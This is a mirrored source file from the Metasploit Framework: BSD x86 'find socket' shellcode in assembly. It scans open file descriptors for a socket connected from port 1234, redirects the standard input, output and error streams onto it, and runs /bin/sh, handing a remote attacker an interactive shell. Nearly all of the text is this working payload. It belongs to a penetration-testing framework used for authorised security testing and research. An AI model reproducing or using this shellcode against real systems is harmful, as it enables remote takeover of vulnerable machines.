CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/bsd-x86-fndsockcode.s
Views: 11766
1
/*
2
* bsd-x86-fndsockcode.s
3
* Copyright 2006 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
.global _start
22
23
_start:
24
25
# 60 bytes
26
27
fndsockcode:
28
xorl %eax,%eax
29
pushl %eax
30
movl %esp,%edi
31
32
pushl $0x10
33
pushl %esp
34
pushl %edi
35
pushl %eax
36
pushl %eax
37
38
0:
39
popl %eax
40
popl %eax
41
incl %eax
42
pushl %eax
43
pushl %eax
44
pushl $0x1f
45
popl %eax
46
int $0x80
47
48
cmpw $0xd204,0x02(%edi)
49
jne 0b
50
51
pushl %eax
52
53
1:
54
pushl $0x5a
55
popl %eax
56
int $0x80
57
58
decl -0x10(%edi)
59
jns 1b
60
61
shellcode:
62
# xorl %eax,%eax
63
# pushl %eax
64
pushl $0x68732f2f
65
pushl $0x6e69622f
66
movl %esp,%ebx
67
pushl %eax
68
pushl %esp
69
pushl %ebx
70
pushl %eax
71
movb $0x3b,%al
72
int $0x80
73
74
75